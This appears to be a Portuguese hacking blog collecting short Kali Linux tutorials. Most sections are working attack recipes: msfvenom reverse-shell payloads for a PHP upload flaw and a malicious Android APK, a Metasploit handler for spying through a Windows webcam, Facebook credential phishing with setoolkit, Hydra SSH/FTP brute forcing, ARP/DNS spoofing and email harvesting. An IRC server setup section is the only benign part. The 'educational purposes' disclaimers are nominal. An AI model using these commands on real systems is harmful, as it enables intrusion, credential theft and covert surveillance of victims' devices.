Boas users!
Irei mostrar como explorar uma vulnerabilidade, de um determinado servidor de upload com o BURP.
Comando:
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -e php/base64 -f raw > /root/upload.php
By user777
Coletando Endereços de Email’s com Kali Linux
Boas Users!
Vou mostrar como coletar, endereços de email’s de um determinado domínio.
“Todas as informações aqui devem ser usadas para fins educacionais e que a invasão de dispositivos não autorizado é crime”
Comandos usado:
# msfconsole
msfconsole= Framework criado por H.D.Moore, que serve para elaboração e execução de um repositório de exploits.
msf > use auxiliar/gather/search_email_collector
use auxiliar= Carregando o modulo email_collector
msf > set DOMAIN "domínio.com.br"
set DOMAIN= Selecionando o domínio
msn > run
run= Iniciando a coleta
Hackeando as Credenciais do facebook “setoolkit” kali linux
Boas Users!
Irei repassar uma forma de pegar, as credenciais do facebook com uma ferramenta chamda “setoolkit”.
“Todas as informações aqui devem ser usadas para fins educacionais e que a invasão de dispositivos não autorizado é crime”
Bem pessoal, essa foi uma pequena demonstração de como estamos vulneráveis, com
Participação do nosso amigo Thiago!!!!
By user777
Criando Servidor IRC no Kali Linux “InspiRCD”
Boas Users!
Vamos instalar o InspIRCd no kali
1- Basta abrir o terminal e inserir o seguinte comando;
#apt-get install inspircd
2- Agora à configuração. Para tal vamos abrir o ficheiro /etc/inspircd/inspircd.conf onde devem realizar as seguintes configurações:
OBS: usarei o editor de texto “vi”, você poderá usar o editor de texto de seu gosto.
#vi /etc/inspircd/inspircd.conf
Ao nível do servidor, devem alterar os seguintes dados:
Server name
Description
Network
Configure de acordo com suas informações.
3- Ao nível da administração, devem alterar os seguintes dados de acordo com a conta que pretendam criar.
Admin
Nick
Email
Nick
4- Em termos de servidor, devem também indicar a partir de qual endereço é que o mesmo está disponível. No exemplo da imagem seguinte, consideramos o endereço 177.154.11.100 e porta 6667.
5- O próximo passo é definir uma password necessária para parar ou reiniciar o serviço.
6- Vamos agora criar um conta de operador. Para tal basta procurarem pela linha que começa por <oper name=…, dentro do ficheiro de configuração.
7- salve o arquivo e iniciei o serviço usando o comando
#service inspircd start
Estas são as configurações mínimas para que o InspIRCd funcione. No entanto há muitos outros parâmetros que podem ser consultados aqui.
Hydra – Brute Force – Realizando pequeno ataque de força bruta.
Bom , neste pequeno Artigo vamos entender de forma básica o funcionamento do Hydra.
Para isso, me conectei ao meu kali linux de forma remota na porta ssh e procedi com todos os passos usados para se fazer um ataque de brute force, lembrando que o fato de estar conectado via ssh não me impede de usar os programas que rodam em modo terminal, impediria de usar os pacotes que necessitem de uma interface gráfica para tal.
Bom, é importante ressaltar que estou usando um ambiente de testes, o “host alvo” é de minha propriedade e este post serve apenas paras fins de analise e estudo, não fazendo apologia a invasão. Também não me responsabilizarei por eventuais danos causados a terceiros pelo uso incorreto dessa ferramenta..
Aqui temos a versão do Kali que estou rodando.
Bom, o Hydra como muitos conhecem é um programa open source disponibilizado nativamente no Kali Linux, tendo também o codigo fonte disponível para download no repositório oficial do projeto. E quanto a instalação do pacote, esta não será abordada nestas minhas pequenas linhas de raciocinio.
Quem quiser saber mais sobre o Hydra pode diretamente no terminal rodar o man do programa, bastando para isso…
root@love:~# man hydra
Ele dará todas as informações necessárias para que você o conheça melhor, podendo assim planejar e executar diferentes ataques.
Neste exemplo usei como alvo uma Routerboard 433AH rodando Router OS e com usuário previamente cadastrado. Falando em hydra, é sempre interessante ter, pelo menos, o nome de usuário que será usado durante o ataque.
A senha cadastrada foi incluída no nosso arquivo de senhas, qual será usado pelo hydra para realizar os testes de login e assim verificar o password correto.
Bom, vamos ao que realmente interessa. De posse do seu Terminal, crie um arquivo onde você possa inserir prováveis senhas(veja, estamos trabalhando com prováveis senhas , aquelas que imaginamos ser usadas pelo usuario vitima do ataque.) para que possamos realizar nosso pequeno e singelo ataque.
No Terminal, crie então um arquivo, o nome pode ser qualquer um.
root@love:~# nano pass.txt
Neste arquivo insira as senhas, caso use uma lista pre definida.
Após termos nossa base de dados de password já pronta, vamos então verificar quais serviços o nosso host vitima está rodando, quais portas estão abertas e que possam ser testadas pelo Hydra.
root@love:~# nmap -v 10.2.2.1
Constatada as portas abertas, podemos prosseguir com nosso propósito, atacar e obter o password.
Então, vamos invocar o Hydra de forma a usar o arquivo “pass.txt” como base para as senhas.
root@love:~# hydra -l kali -P pass.txt 10.2.2.1 ssh
Explicando a linha:
Hydra: invocamos o programa a ser executado, no caso obviamente o Hydra.
O menos L minusculo “-l” especifica login(vide man hydra).
Kali= Nome do usuário a ser testado (como disse acima, user previamente cadastrador por mim)
O “-P” maiúsculo especifica um arquivo contendo senhas, caso fosse “-p” minúsculo poderíamos especificar somente um password por vez.
Pass.txt é obviamente nosso arquivo com as passwords.
10.2.2.1 é o host alvo do ataque e o SSH no final da linha indica o serviço(porta) a ser testada.
Feito isso, basta correr o comando, damos {Enter} e aguardamos que os testes se concluam. Dependendo do tamanho do seu arquivo de senhas e da complexidade isso pode demorar muito tempo… 😉
Olha, que lindo, aqui já podemos ver que o Hydra encontrou o password do usuário Kali. Isso após alguns segundos somente.
Vamos fazer um teste via ssh?
Pronto, conectado…!
Realmente funciona, e realmente da para fazer ataques de níveis bem diferentes deste, por exemplo, caso eu quisesse testar também uma serie de senhas para o protocolo(serviço ftp) bastava a mim mudar ou especificar no fim da linha onde invoco o Hydra o serviço, para um ftp teríamos:
root@love:~# hydra -l kali -P passftp.txt 10.2.2.1 ftp
Bom amigos, por hoje e só por hoje é só! Hehe
O hydra é um velho companheiro, e se vocẽ quiser realmente aprender sobre ele não se esqueça de ler a man do programa, não existe tutorial/artigo que se compare a qualidade das informações disponíveis lá.
Invadindo Webcam conectada no windows com “Kali Linux”
Boas Users!
Reforçando>> “Todas as informações aqui devem ser usadas para fins educacionais e que a invasão de dispositivos não autorizado é crime”
Hoje Iremos abordar como acessar, Webcam conectada a um S.O windows com o kali linux, lembrando que o video ja mostra logado no “msfconsole”, quem não sabe como fazer os passos anteriores, por favor acessem esse link que mostro como fazer.
Comandos usados no acesso;
use exploit/multi/handler
use exploit/multi/handler= Carregando módulo a ser usado
set payload windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp= método utilizado
set lhost
set lhost= inserir o ip do kali
set lport
set lport= inserir a porta a ser utilizada
exploit
exploit = execução do backdoor
webcam_list
webcam_list= mostra se tem alguma webcam conectada
webcam_list
webcam_stream= abre a webcam remota, localmente
By user777
DnsSpoof e ArpSpoof kali Linux
Boas Users!
Vamos falar um pouco hoje de dnsspoof e arpspoof, técnica utilizada em redes cabeadas e wireless que permite ao atacante capturar informações
Comandos:
# arpspoof -i eth0 -t 192.168.1.119 -r 192.168.1.120
# dnsspoof -i eth0
# dnsspoof -i eth0 -f dns.txt
Isso foi uma pequena demostração do que o dnsspoof e arpspoof é capaz de fazer.
By user777
Exploit Android 6 usando MSFvenom (Kali 2.2016)
Gente, nesse video eu mostro como com poucos comandos você pode explorar um Android na versão 6.0.
O video não tem intenção de ensinar ou induzir ninguém a invadir a privacidade de terceiros, mas sim demonstrar que falhas podem ser exploradas.
Usei apenas o msfvenom sem opções de encoder, arquitetura ou outros, basicamente apenas um exploit gerado pelo kali e que me deu acesso de forma reversa ao Android.
Aparelho : Moto G segunda Geração com android 6.0 com ultima atualização de segurança instalado.
Comandos usado neste video…
Criar o exploit, substitua ip pelo seu ip, porta pela devida porta e de o nome do app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=PORTA -o app.apk
Para estabelecer conexão :
msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost IP_KALI
set lport porta
exploit -j ou run ou somente exploit…
Bom, por hoje é só, logo mais mostro como deixar este exploit como algo que inicia todas as vezes que o dispositivo for ligado, obtendo assim um acesso monstro ao Android….rsrs
abraços
